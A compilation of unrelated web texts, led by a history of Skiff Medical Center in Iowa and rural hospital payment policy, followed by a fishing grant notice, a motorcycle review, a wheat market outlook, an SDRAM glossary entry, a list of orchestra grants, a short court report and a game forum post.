In 1990, the state of Montana partnered with Medicare to begin a demonstration program which allowed small hospitals to revert back to the previous, cost-based system of hospital payment. This demonstration program was successful and congressmen from small rural states attempted to expand this program nationally via legislation … but with little success. As each year went by, more and more small hospitals across the country were closing, until the total reached into the hundreds. Finally, in the Balanced Budget Act of 1997, the Medicare Rural Hospital Flexibility Program was established. Though this program had several goals, protecting small rural hospitals was the focus. It became known as the Critical Access Hospital program.
Though the program was modified slightly during intervening years, the essential requirements for a hospital to gain critical access designation were that it have fewer than 25 licensed inpatient beds, that it keep patients no longer than four days on average (and have an agreement with a larger hospital for patients needing additional care), and that it be in a remote location more than 35 miles from another hospital. If a hospital could meet these criteria, then it reverted to a cost-based payment model whereby it would be reimbursed the cost (plus 1 percent) of caring for Medicare beneficiaries for both inpatient and outpatient care.
The bill passed in 1997. By 2001, 460 hospitals had enrolled in the program. In addition to hospitals that were truly remote, for the first 10 years of the program, each state had the ability to provide a waiver of the 35-mile requirement by declaring a hospital a "necessary provider" for their community. This ability ended in 2006. By that time, more than 1,300 hospitals had enrolled in the Critical Access Hospital program, accounting for more than 25 percent of all hospitals in America. In the state of Iowa today, there are 119 community hospitals and 82 of these are critical access. Yes, more than 70 percent of hospitals in Iowa are in this program!
Though it was clear that rural hospitals required additional funding to keep their doors open, this did nothing to help reduce the ever-increasing cost of health care in America. Even with the extraordinary reductions to hospital payments made by Medicare in the mid-1980s, health care costs continued to grow much faster than inflation. This led to an ill-fated attempt at health-care reform by the Clinton administration in the early 1990s. "Hillary Care," as it was known at the time, was met with great resistance from the insurance industry and conservative groups. The bill was easy for opponents to disparage due to its complex series of control mechanisms, national boards, and rules aimed at achieving universal coverage. The public backlash to the reform bill was intense and was a factor in the GOP taking control of both houses of Congress in 1994 for the first time since the 1950s.
Though broad-based health care reform failed in the 1990s, a number of programs that are well known today were established during this period, including the S-CHIP program insuring children, the Health Insurance Portability and Accountability Act (HIPAA), which became most well known for its privacy requirements, and the creation of Medicare Advantage programs which allowed seniors to receive insurance coverage through subsidized private insurance instead of traditional Medicare.
The mid-1990s in Newton, and at Skiff, remained a time of growth and hope. The renovation and expansion of the facility which began in 1991 was completed in 1994. An ambulance service staffed by paramedics began operation during this time. The percent of patients from Jasper County utilizing Skiff for their inpatient care had increased from 27 percent in 1987 to 40 percent by 1994. In that same year, Lois Vogel was named the "Outstanding Nurse Executive" in Iowa. In 1995, Ron Ross was named the "Iowa Hospital Administrator of the Year."
Then, in 1996, Ron Ross, the engineer of the transformation of Skiff, was diagnosed with cancer and passed away only five months later.
Fortunately, Eric Lothe, a rising young star who had worked under the tutelage of Ron for several years and had only recently taken the position of hospital administrator in another town, accepted the request to return to his hometown and take the helm. Though the 75th anniversary celebration in 1996 was dimmed by Ron's passing, things were still on track for a bright future at Skiff.
The new leadership team picked up right where the old one had left off and began responding to the constantly changing health-care environment. The Balanced Budget Act of 1997, which was saving so many rural hospitals, actually had a very negative impact on those which were too large for the new Critical Access designation. In order to reduce Medicare spending, the bill cut payments to hospitals and doctors by $112 billion. The reduction in reimbursement for some services, psychiatric units for example, was so severe that many hospitals, including Skiff, closed their inpatient psychiatric facilities. The bill also implemented the Sustainable Growth Rate (SGR) formula for paying physicians. The intent of the SGR was to limit growth in physician payments to no more than the cost of inflation, and if the prior year growth was greater than inflation, a decrease would automatically be triggered the following year. Because of the way the formula worked, the SGR triggered a decrease each year of 1-2 percent. Congress was never willing to let the physician payments actually go down, so each year they postponed the cut to the next year. The impact is that the automatic decrease for each subsequent year adds to decreases from prior years that were never implemented, making the cumulative reduction bigger and bigger each year. Because of this, on Jan. 1, 2014, the automatic decrease in physician payments was calculated to be 24.1 percent, but – you guessed it – Congress postponed it again. When you watch the news and you hear that Congress is struggling with the "doc fix," the SGR program is what they are talking about.
Medicare wasn't the only insurer cutting their payments at this time. In 1998, Wellmark BC/BS changed their payment system from the traditional percentage of charge, to a set fee schedule. Medicare, Medicaid and BC/BS covered the vast majority of patients in Iowa, and with none of them paying hospitals based on the price the hospital charged, hospitals no longer had the ability to increase their revenue by increasing their prices. At this point, the only way to increase revenue in a hospital became increasing the volume of services provided.
Skiff responded to these changes very well by focusing on cost reduction, physician recruitment and a $2.3 million facility expansion plan. These were impressive responses to difficult situations and, later in 1998, Eric Lothe was named the "Young Executive of the Year" by the Iowa Hospital Association. In 1999, Skiff was designated a level III trauma center and was named one of the top 50 hospitals in the U.S. for quality as measured by the Center for Healthcare Industry Performance Studies.
Hospital payments took a hit again in the year 2000 when Medicare transitioned their reimbursement for outpatient services from one based on cost, to one based, again, on what Medicare believed the costs should be. Fortunately, these large cuts to hospital outpatient payment for rural hospitals were reduced by the implementation of a program which delayed their implementation. There were some bright spots in 2000, though, with the implementation of new payment programs targeted to mid-size rural hospitals like Skiff. The Medicare Dependent Hospital designation was enhanced and provided additional payments to hospitals with fewer than 100 beds. These same hospitals were allowed to keep patients in the hospital who would otherwise have been transferred to a skilled nursing facility. Essentially, these patients would "swing" from a payment status of inpatient into a payment status of skilled nursing without leaving the hospital.
Skiff continued to find innovative ways to respond to this unpredictable environment. In the year 2000, an assisted living unit was opened in space previously occupied by the psychiatric unit and, prior to that, by the extended care program.
The outpatient kidney dialysis unit was opened in 2001 in a partnership with Davita, and a hospital-wide implementation of an electronic medical record system began that same year. In 2002, a $1.5 million project to enlarge the outpatient surgery area was undertaken, a new CT scanner was installed, and 24/7 coverage of the emergency room began in early 2003. In 2004, an extensive upgrade of the original 1922 building was initiated, including upgrades of the first and second floor, development of a beautiful hospice house on the third floor, and reopening of the original west lobby entrance.
By 2005, things were even better. The month of July set a new record for revenue, and market share for inpatient services jumped to nearly 60 percent. Two hundred and seventy-four babies were born at Skiff, the highest since 1978.
Employee satisfaction was in the top 4 percent of all hospitals in America. Major construction ended with the opening of Memorial Hall in the original hospital lobby and the placement of the cartwheeling kids sculpture in front of the hospital. The Iowa Hospital Association recognized Eric Lothe with an "Excellence in Leadership Award" and Gary Kahn was named the first non-hospital executive to chair of the Iowa Hospital Association Board.
2006 was a year of even more exceptional volume, patient satisfaction and quality at Skiff Medical Center. With nearly 15 years of growth in the books and high hopes for the future, the passing of the deadline for hospitals to enter the Critical Access Hospital program by gaining "necessary provider" status from the state passed by quietly.
Who would have thought at the time that things were going to change so radically, and so quickly, not just for Skiff but for the entire community?


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Fishing provides an opportunity to spend time together, away from the distractions and stress of everyday life. The Nebraska Game and Parks Commission is participating in the Recreational Boating and Fishing Foundation's Vamos A Pescar program, which creates more opportunities for all people to fish. Through the program, grants are available to non-profit organizations in Nebraska for local efforts to educate and engage families in high-density Hispanic communities through programs, classes and fishing activities held in 2017.
Programs will be considered that introduce fishing and or boating to youths and families, provide hands-on fishing skills development, teach and reinforce water and safe boating, and provide hands-on conservation and aquatic stewardship activities.
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text: Review: Royal Enfield Thunderbird 350 Cruisers never go out of style, and that's true not just for those long-stroke V-twin Harleys. Ask Enfield, which came up with the Thunderbird 350 at the start of the century. Enfield purists didn't like it very much, but it did bring in new buyers who had not considered the Royal Enfield brand until then.The second-gen Thunderbird was launched with two engine options - a fuel injected 500cc and a carburetted 350cc. We tested the 500 when it was launched; now we got our hands on the 350, Enfield's bread-and-butter model.It looks exactly like the 500, and the design is an evolutionary change over the previous-gen TB. It's well proportioned and the fuel tank gels well with the rest of the bodywork, unlike the first-gen bike. The projector headlamp and five-bar LED tail lamp give this TB some character. For colour options, there are three kinds of black to chose from\: matt, gloss and twilight (black with a blue hue).Very much like the 500 so far, but when you set off from a red light, the distinction starts becoming clear. The 350 doesn't leave traffic behind as easily as the 500. Which is not to say the 350cc motor lacks power. On paper, it makes 19.8bhp and 28Nm, which is more than enough for city as well as highway riding. At cruising speeds, the 350 comfortably hums along at 80kph. Vibrations are minimal and the engine sounds stress-free. Wring the throttle further and you'll come close to 120kph.The five-speed gearbox is smooth and trouble-free, but it did hit false neutral on two or three occasions on our 250km-long test ride. The higher ratios have been designed with touring in mind. This also ensures the engine sips rather than gulps fuel from the 20ltr tank. In combined city and highway riding, the 350 returned an impressive 32.3kpl - which means the 350 can do close to 650km on one top-up.Ride has been one of the strengths of the 500, and the 350 is no different. The suspension soaks up most of the bumps and the well padded seat lets you ride for long hours. The redesigned rear swingarm keeps the bike good in a straight line and agile around corners. This is the best handler in the Enfield stable, whether rounding a corner or gunning straight ahead. And thanks to those front and rear disc brakes that come standard, the 350 can scrub off speed as soon as it can gather it. In emergency braking, the bike kept its composure, aided by those grippy MRF Zapper tyres.After a day of riding the Thunderbird 350 in varied conditions, it was clear the bike can't compete with the 500 on sheer torque, but whatever power it has, it uses well. It didn't feel lacking on any other count compared to the more expensive 500, and first-gen TB350 owners will be more than impressed with the new 350.At Rs 1.45 lakh (on-road Mumbai), it's Rs 40,000 cheaper than the TB500 while offering the same refinement as its bigger sibling.The numbers1cyl, 350cc, 19.8bhp, 28Nm, 5M, 32.3kpl, 120kph, seat height\: 775mm, 192kg, Rs 1.45 lakh (on-road, Mumbai)The verdictNeed a budget cruiser that doubles up as a fuel-efficient, urban commuter? The TB350 it is, then. Abhinav Mishra 12 September 2013 Review: Royal Enfield Thunderbird 350


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Motorists traveling the highways and by-ways of the Mid-South and Southeast states are seeing a lot more green in farmers' fields this fall.
With Chicago soft red winter futures trading close to $5 a bushel and relatively dry conditions allowing them to get in their fields and plant, growers are believed to have significantly increased their winter wheat plantings.
But farmers shouldn't let those shiny, green fields — and currently high futures prices — distract them from making good pricing decisions for marketing that wheat when it comes out of fields next May or June.
All those fields of green and decent growing conditions could mean the current supply/demand situation for wheat — the primary reason for those high futures prices — could be radically altered by harvest, according to a speaker at the Southern Region Agricultural Outlook Conference in Atlanta.
"Informa Economics is forecasting about a 4.6-million-acre increase in total wheat plantings for 2006-07," says Kurt Guidry, an agricultural economist with the Louisiana State University AgCenter. (Informa Economics is a Memphis, Tenn.-based agricultural and commodity research, analysis and consulting firm.)
"I don't think we have enough demand to take in another 4.6 million acres of wheat," he said.
Futures prices for wheat, corn and soybeans have been rising in recent weeks as the grain markets have become caught up in "ethanol" fever. USDA is estimating up to 20 percent of the 2006 U.S. corn crop could go to ethanol production.
When Guidry spoke at the Southern Region Outlook Conference in Atlanta in late September, Chicago December 2006 soft red winter wheat futures were trading at $4.19 per bushel and Kansas City December 2006 hard red winter wheat futures at $4.81. At press time, the Chicago contract was $4.92 per bushel and the Kansas City was $5.24.
While wheat futures have been supported by the ethanol-driven activity in corn, low supplies have also helped push prices higher, says Guidry. U.S. wheat supplies have dropped nearly 10 percent from the 2005-06 marketing year and world supplies have also been trending down.
"The current wheat prices are relatively strong compared to historical prices," he said, noting the upturn has been due primarily to drought in the United States and other countries, including Australia and the Ukraine. "We have lower supplies, but we also have lower demand."
The London-based International Grains Council recently said 2006-07 world wheat production would total 588 million metric tons, down 30 million metric tons from the 2005-06 marketing year and 19 million metric tons from expected 2006-07 world demand of 607 million metric tons.
A portion of the shortfall is expected to come from Australia, where farmers could harvest 12 million to 15 million metric tons of wheat compared to the 25 million metric tons last year. Countries such as the Ukraine are also expected to have smaller crops due to water shortages.
Drought conditions in the western United States have also hammered wheat farmers. Analysts say the U.S. wheat yield average could drop to 38.3 bushels per acre from last year's 42-bushel average. The 2006-07 U.S. wheat harvest, as a result, is likely to fall to 1.8 billion bushels from last year's 2.1 billion.
"U.S. ending stocks are forecast to reach 429 million bushels, one of the lowest levels in 25 years," said Guidry. "The problem is there's nothing on the demand side to push prices up."
Domestic food use is expected to change little at 920 million bushels in 2006-07, he said. Seed use is forecast at 80 million bushels, up 2 million bushels from 2005-06 and down 1 million from the five-year average. Feed use could decline 12 million bushels to 145 million in the 2006-07 marketing year.
Exports also appear to be stuck on a down trend since reaching a high of nearly 1.2 billion bushels in 2003-04 and could fall another 100 million bushels or more to 900 million bushels in 2006-07, despite the reduction in world wheat stocks.
The picture is even less glowing for soft red winter wheat, the type grown in the Mid-South and Southeast states. (The Plains states — Kansas, Oklahoma, Texas and Colorado — produce mostly hard red winter wheat while the upper Midwestern states focus on hard red spring wheat.)
"We're seeing increases in ending stocks (from 106 million bushels in 2005-06 to 112 million bushels in 2006-07)," says Guidry. "Domestic use and exports have also been increasing and pushing the stocks-to-use ratio lower, but the strengthening of demand needed is still not there.
Fundamentals for hard red winter wheat are more promising. USDA is forecasting ending stocks could drop from 2005-06's 212 million bushels to 120 million, reducing the stocks-to-use ratio from 23.27 percent to 15.94 percent.
Looking at long-term price trends, analysts could make a good case that hard red winter prices will remain relatively high while soft red winter prices could, well, soften. Over the period from 1967 to 2005, wheat prices have averaged $3.68 per bushels when the stocks-to-use ratio has ranged from 16 percent to 20 percent.
When the stocks-to-use ratio has risen to the 26 percent to 30 percent range, wheat prices have averaged $2.97 per bushel, according to Guidry.


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Related to SDRAM: DDR SDRAM
(computer science)
SDRAM(Synchronous DRAM) The type of dynamic RAM memory chip that has been widely used since the mid-1990s. SDRAM eliminated wait states by dividing the chip into two cell blocks and interleaving data between them. While a bit in one block is accessed, a bit in the other is prepared for access. See dynamic RAM.
DDR (Double Data Rate)
In 2000, DDR SDRAM doubled the data transfer rate by using both the rising and falling edges of the clock cycle. The data rate of each DDR generation is faster than the previous with a six-fold increase from DDR1 to DDR4. In addition, less power is required (see table below). In order to prevent inserting the wrong DDR into the motherboard, DDR memory modules are keyed differently (for details, see memory module).
Chipsets on the motherboard may support one, two or four memory channels (triple channel has since come and gone). For example, mainstream motherboards support dual channel, which is why memory modules are generally installed in pairs. While data are being read or written to one memory module, the second module is being prepared for reading or writing. High-end motherboards support quad channel. Following are the most popular module speeds for each SDRAM generation. See SGRAM and LPDDR SDRAM.
Memory Speed DIMM Voltage (MHz) Module Required DDR4 2400 284-pin 1.2 DDR4 2133 284-pin 1.2 DDR3 1866 240-pin 1.35/1.5 DDR3 1600 240-pin 1.35/1.5 DDR3 1333 240-pin 1.35/1.5 DDR2 800 240-pin 1.8/2.5 DDR 400 184-pin 2.5 SDRAM 133 168-pin 3.3 SDRAM 100 168-pin 3.3
|Matched Slots for Dual Channel
|This motherboard uses colored sockets so that module pairs are inserted properly. It supports three pairs (one orange and two lavender). (Image courtesy of Giga-byte Technology Company Ltd., www.giga-byte.com)
|A Little Nostalgia
|These 12 bits of magnetic core memory from the Whirlwind computer of the early 1950s take up about a quarter of a square inch. Today, that much space holds billions of bits. (Image courtesy of The MITRE Corporation Archives.)


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FY00 Access Grants
Chicago Symphony Orchestra (on behalf of Civic Orchestra of Chicago), $50,000
To Donate the Community Engagement Initiative, an access project of the Civic Orchestra of Chicago that includes national radio broadcasts. The young musicians in this pre-professional orchestra will participate in the MusiCorps residency program and the South Shore Civic Residency during 2000-01.
Saint Louis Symphony Orchestra (Consortium), $75,000
To Donate Concert Residencies, a consortium project with the Regional Arts Commission of Greater St. Louis. During the year 2000, the Saint Louis Symphony will perform free, full-orchestra concerts and provide educational activities for children and adults in underserved communities at 15 locations in Missouri and Illinois.
Amarillo Symphony, $7,500
To Donate Music Makes a Difference!, Amarillo Symphony's chamber music residencies in elementary schools. This outreach project will expose students and their families to chamber music and develop basic music-listening skills during 2000-02.
Arkansas Symphony Orchestra, $7,500
To Donate Music in Our Town, an outreach project for the city of North Little Rock. The Arkansas Symphony Orchestra will perform three concerts in the local high school auditorium for this community during 2000-01.
Atlanta Symphony Orchestra, $50,000
To Donate Building Bridges to the Community, an educational and community partnership initiative. The goal of this 2000-01 initiative is to develop the Atlanta Symphony Orchestra as a more integral part of community life by focusing on three core areas: education activities, community partnerships, and outreach.
Baltimore Symphony Orchestra, $40,000
To Donate a community outreach project of the Baltimore Symphony Orchestra. During 2000-01, the Orchestra, with joint community planning, will perform concerts targeted at underserved populations in Baltimore and throughout Maryland.
Delaware Symphony Orchestra, $5,000
To Donate the Delaware Symphony's educational outreach project. During 2000-01, the Symphony will conduct in-school ensemble performances and present youth and family concerts throughout the state of Delaware.
Grand Rapids Symphony, $30,000
To Donate the Grand Rapids Symphony's Tour 2000. During the fall season, the Symphony will perform in the Upper Peninsula and northern Lower Peninsula of Michigan.
Houston Symphony, $30,000
To Donate Music Matters: Community Connections, an outreach project for underserved communities. During 2000-01, the Houston Symphony's musicians will perform at various sites, including nursing homes, community centers, hospitals, and schools.
Indianapolis Symphony Orchestra, $20,000
To Donate the Neighborhood Harmony Project, an outreach project with community centers in Indianapolis. During 2000-01, the Indianapolis Symphony Orchestra will provide music performances and educational programs for children in low-income families.
Jacksonville Symphony Orchestra, $10,000
To Donate 4 By 4 Art Attack, an outreach project in four Florida counties. The Jacksonville Symphony will provide performances and educational programs for residents of Baker, Bradford, Nassau, and Putnam Counties during 2000-01.
Nashville Chamber Orchestra, $15,000
To Donate the Community Partnership Program, a performance and education outreach project of the Nashville Chamber Orchestra. During 2000-02, the Orchestra will develop long-term, community partners for sustainable programming in rural Tennessee.
New Jersey Symphony Orchestra, $25,000
To Donate Project REACH, a statewide music outreach program. During 2000-01, the New Jersey Symphony will conduct a statewide tour throughout New Jersey.
New Mexico Symphony Orchestra, $21,000
To Donate a statewide tour and an educational enrichment project. The New Mexico Symphony Orchestra will tour to underserved communities throughout the state and conduct educational activities in schools, including full-orchestra youth concerts, during 2000-01.
Queens Symphony Orchestra, $20,000
To Donate an audience development campaign, presenting the Queens Symphony Orchestra's subscription concerts throughout the borough. This decentralization plan during 2000-01 will mirror the enclaves of Queens--one of the most ethnically diverse counties in the nation.
Rhode Island Philharmonic (Consortium), $5,000
To Donate Music After Hours, a consortium project with the Music School. During the 2000-02 seasons, the Rhode Island Philharmonic and the Music School will provide after-school music education programs to children in grades three to five, particularly youths at risk, and senior adults in four underserved cities of Rhode Island.
Roanoke Symphony Orchestra, $5,000
To Donate the ENCORE project, a tour by the Roanoke Symphony to underserved rural regions in the state of Virginia. During 2000-01, the outreach effort will offer communities full-orchestra concerts, with soloists or musical groups from the host area, and pre-concert, interactive discussions with the audience.
Seattle Symphony Orchestra (Consortium), $60,000
To Donate a regional tour consortium project with Central Washington University, Prosser Economic Development Association, Walla Walla Symphony, and Washington State University. During the year 2000, the Seattle Symphony Orchestra will perform outreach concerts in four cities of eastern Washington.
Vermont Symphony Orchestra, $13,000
To Donate the Made in Vermont Music Festival Tour, a project of educational activities and community concerts. During the year 2000, the Vermont Symphony Orchestra will tour to ten underserved rural communities in Vermont.
Washington Bach Consort, $7,500
To Donate the Giving Bach to Our Community initiative, an educational outreach program of free, accessible concerts, formatted for new audiences. During 2000-01, the Washington Bach Consort will present noontime and rush hour concerts, pre-concert lectures, and an elementary education program in the District of Columbia's area schools.
West Virginia Symphony Orchestra, Inc., $10,000
To Donate the West Virginia Symphony Orchestra's touring project to underserved rural communities throughout the state. During 2000-01, the Symphony will reach audiences in ten communities on fall and spring tours.
Levine School of Music, $10,000
To Donate music education programs for underserved communities in the metropolitan Washington area. During 2000-01, the Levine School of Music will provide public access to music education in southeast DC, in Arlington, Virginia, and at public housing sites.
Meet The Composer, Inc., $100,000
To Donate Residency Works, a national audience development project for new American music. More than 1,000 composers will be participating in this 2000-01 community-engagement endeavor, cultivating relationships between composers and communities.


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WAUKEGAN (AP) – A judge in northern Illinois has sentenced a 50-year-old Zion man to 44 years in prison for burglarizing a home and trying to have a pregnant woman and her boyfriend killed.
Lake County Circuit Judge Daniel Shanes sentenced Roderick Golden on Tuesday. A jury convicted Golden of solicitation of murder earlier this year. He also pleaded guilty to residential burglary Tuesday.
The News Sun reports that Golden and three other men went into a Waukegan woman's home while she was sleeping, tied her up, took her valuables and fled.
Prosecutors say Golden was jailed on the burglary charge when he tried to hire two different men to kill the woman and her boyfriend to stop her from testifying against him. She was five months pregnant at the time.


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owes (2.2.48)
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Yeah, I'm beginning to realize that the wiki is going to get a lot of traffic post-release. I'm totally split on whether we should include puzzle solutions. On the one hand, they will be available to anyone who wants to Google, but on the other hand that's a pretty big spoiler.
While I don't think it's the end of the world if the god puzzles are a little out there, the Halfling and Gnome puzzles need to be toned down. Venom Ward and Soul Orb are two items everyone should have in their shop pool, and locking them away behind these nasty puzzles isn't nice.